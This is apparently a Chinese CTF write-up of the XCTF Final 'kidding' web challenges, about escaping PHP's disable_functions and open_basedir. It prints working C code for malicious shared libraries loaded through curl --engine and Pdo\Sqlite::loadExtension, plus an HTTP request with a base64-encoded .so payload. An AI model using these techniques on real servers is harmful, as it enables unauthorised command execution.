自己整理一下兩天的XCTF Final賽事web方向的賽題,網上好像沒有很全的wp,awdp更是完全沒有。就全部找了集合一下再補充自己的(主要是awdp)。
賽制:第一天解題和rw以及pwn單挑,第二天是賽制比較特殊的awd,挺有趣的,十分鐘一輪檢查,給前幾輪所有人攻擊流量和patch包(到後面給的東西輪次會越來越接近當前輪次),先打了本地的才能patch,主要還是pwn太神仙打架了。最快發現最弱的漏洞--攻擊成功--patch種馬--優勢滾雪球。
解題賽:
kidding:
經典繞過 disable_functions 和 open_basedir 題目
<?php
highlight_file(__FILE__);
@eval($_POST['so_ez!k1ddi&g?']);
open_basedir /var/www/html:/tmp
proc_open,pcntl_waitpid,pcntl_wait,dl,ini_restore,mb_send_mail,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,pcntl_alarm,pcntl_sigtimedwait,ini_set
然後還有openssl,sqlite3。當時主要思路是去sqlite3繞openbase_dir什麼的,下面是問ai的sqlite3的繞過之一的回答,最後很多嘗試都失敗了。
)
最後別人題解是這個的報告
curl |報告 #3293801- 標題:通過任意庫遠程代碼執行(RCE)加載在“--engine”選項中 |HackerOne
看到的題解:
XCTF final 2025 N1Star web wp - ENOCH-lyn Blog
不過他這個的第二道題就把curl那一套函數給禁用了。
翻譯的命令行工具是curl
-
創建惡意載荷
把下面 C 代碼保存為evil_engine.c。庫文件被加載時,會立即執行id > /tmp/RCE_VIA_ENGINE。#include <stdlib.h> // 動態鏈接器加載庫時,自動運行此構造函數 __attribute__((constructor)) static void rce_init(void) { system("id > /tmp/RCE_VIA_ENGINE"); } -
編譯成共享庫
gcc -fPIC -shared -o evil_engine.so evil_engine.c -
清理舊痕跡
rm -f /tmp/RCE_VIA_ENGINE -
利用 curl 的
--engine加載惡意庫bash
複製
curl --engine $(pwd)/evil_engine.so https://example.com會看到類似
curl: (53) SSL Engine not found的錯誤——不重要,因為構造函數已在報錯前執行。 -
驗證是否成功觸發了命令執行
cat /tmp/RCE_VIA_ENGINE若能讀出
uid=...信息,證明 RCE 達成。別人的博客wp的那一張
curl --engine /tmp/evil.so→ 加載瞬間 → constructor 執行 → 任意命令
不受 PHP 禁用函數限制,不穿 basedir(加載在 C 層)。
kinding-revenge
第二關把curl那一套都禁用了。我在su team的博客找到了答案,他們反而是用第二關的思路做的第一關,不會是因為他們非預期了才加的第二關吧,我記得是後面放出來的這題。_
https://su-team.cn 的微信公眾號發的,寫wp的博客反而沒有
這一題的下面都是他們的內容了:
"""
但偶然看到存在sqlite3 擴展,推測其在putenv 被ban情況下也能完成任意路徑下.so加載
存在SQLite3::loadExtension 方法可以加載庫,但庫必須位於配置選項 sqlite3.extension_dir 中指定的目錄中。
峯迴路轉找到在Pdo\Sqlite::loadExtension 也存在可以加載庫的方法,好像沒有配置限制
依據報錯,構造 so 文件
#include <sqlite3ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
SQLITE_EXTENSION_INIT1
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_exploit_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi);
const char *command_file_path = "/tmp/1.txt";
char command_buffer[512] = {0};
FILE *file_handle;
file_handle = fopen(command_file_path, "r");
if (file_handle == NULL) {
return SQLITE_OK;
}
if (fgets(command_buffer, sizeof(command_buffer), file_handle) != NULL) {
command_buffer[strcspn(command_buffer, "\r\n")] = 0;
if (strlen(command_buffer) > 0) {
system(command_buffer);
}
}
fclose(file_handle);
return SQLITE_OK;
}
寫入,加載
POST / HTTP/1.1
Host: 173.32.20.154
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21284
%73%6f%5f%65%7a%21%6b%31%64%64%69%26%67%3f=%24base64%5Fso%20%3D%20%22f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAAg2AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAUAAAAAAADIBQAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAAA9AgAAAAAAAD0CAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAALQAAAAAAAAAtAAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAQAIAAAAAAABQAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAALgAAAAAAAAA%2BAAAAAAAAAD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAAECAAAAAAAAAQIAAAAAAAABAgAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQC1DaX3C6ra9C0veZQmRe09DUv69wAAAAACAAAACgAAAAEAAAAGAAAACgAEAAAQAAAAAAAACgAAAAArJSODdAZ5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAkQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAigAAABIAAAAAAAAAAAAAAAAAAAAAAAAAggAAABIAAAAAAAAAAAAAAAAAAAAAAAAAfAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAdgAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAYQAAABIADABJEQAAAAAAAOkAAAAAAAAAVQAAABEAFwA4QAAAAAAAAAgAAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAHNxbGl0ZTNfYXBpAHNxbGl0ZTNfZXhwbG9pdF9pbml0AGZvcGVuAGZnZXRzAHN0cmNzcG4Ac3lzdGVtAGZjbG9zZQBsaWJjLnNvLjYAR0xJQkNfMi4yLjUAAAABAAIAAgACAAIAAQACAAEAAgABAAEAAAABAAEAmAAAABAAAAAAAAAAdRppCQAAAgCiAAAAAAAAAPA9AAAAAAAACAAAAAAAAABAEQAAAAAAAPg9AAAAAAAACAAAAAAAAAAAEQAAAAAAAChAAAAAAAAACAAAAAAAAAAoQAAAAAAAAMA%2FAAAAAAAABgAAAAEAAAAAAAAAAAAAAMg%2FAAAAAAAABgAAAAYAAAAAAAAAAAAAANA%2FAAAAAAAABgAAAAgAAAAAAAAAAAAAANg%2FAAAAAAAABgAAAAsAAAAAAAAAAAAAAOA%2FAAAAAAAABgAAAAkAAAAAAAAAAAAAAABAAAAAAAAABwAAAAIAAAAAAAAAAAAAAAhAAAAAAAAABwAAAAMAAAAAAAAAAAAAABBAAAAAAAAABwAAAAQAAAAAAAAAAAAAABhAAAAAAAAABwAAAAUAAAAAAAAAAAAAACBAAAAAAAAABwAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwW9LwAASIXAdAL%2F0EiDxAjDAAAAAAAAAAAA%2FzXKLwAA%2FyXMLwAADx9AAP8lyi8AAGgAAAAA6eD%2F%2F%2F%2F%2FJcIvAABoAQAAAOnQ%2F%2F%2F%2F%2FyW6LwAAaAIAAADpwP%2F%2F%2F%2F8lsi8AAGgDAAAA6bD%2F%2F%2F%2F%2FJaovAABoBAAAAOmg%2F%2F%2F%2F%2FyVaLwAAZpAAAAAAAAAAAEiNPZkvAABIjQWSLwAASDn4dBVIiwUWLwAASIXAdAn%2F4A8fgAAAAADDDx%2BAAAAAAEiNPWkvAABIjTViLwAASCn%2BSInwSMHuP0jB%2BANIAcZI0f50FEiLBeUuAABIhcB0CP%2FgZg8fRAAAww8fgAAAAADzDx76gD0lLwAAAHUrVUiDPcouAAAASInldAxIiz0GLwAA6Fn%2F%2F%2F%2FoZP%2F%2F%2F8YF%2FS4AAAFdww8fAMMPH4AAAAAA8w8e%2Bul3%2F%2F%2F%2FVUiJ5UiB7DACAABIib3o%2Ff%2F%2FSIm14P3%2F%2F0iJldj9%2F%2F9IiwVoLgAASIuV2P3%2F%2F0iJEEiNBX8OAABIiUX4SI2V8P3%2F%2F7gAAAAAuUAAAABIidfzSKtIjRVoDgAASItF%2BEiJ1kiJx%2Bi%2B%2Fv%2F%2FSIlF8EiDffAAdQe4AAAAAOtsSItV8EiNhfD9%2F%2F%2B%2BAAIAAEiJx%2BiE%2Fv%2F%2FSIXAdD5IjRUlDgAASI2F8P3%2F%2F0iJ1kiJx%2BhW%2Fv%2F%2FxoQF8P3%2F%2FwBIjYXw%2Ff%2F%2FD7YAhMB0D0iNhfD9%2F%2F9IicfoIf7%2F%2F0iLRfBIicfoBf7%2F%2F7gAAAAAycMAAEiD7AhIg8QIwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvdG1wLzEudHh0AHIADQoAARsDOyQAAAADAAAAEPD%2F%2F0AAAABw8P%2F%2FaAAAADnx%2F%2F%2BAAAAAAAAAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEAACQAAAAcAAAAyO%2F%2F%2F2AAAAAADhBGDhhKDwt3CIAAPxo7KjMkIgAAAAAUAAAARAAAAADw%2F%2F8IAAAAAAAAAAAAAAAcAAAAXAAAALHw%2F%2F%2FpAAAAAEEOEIYCQw0GAuQMBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA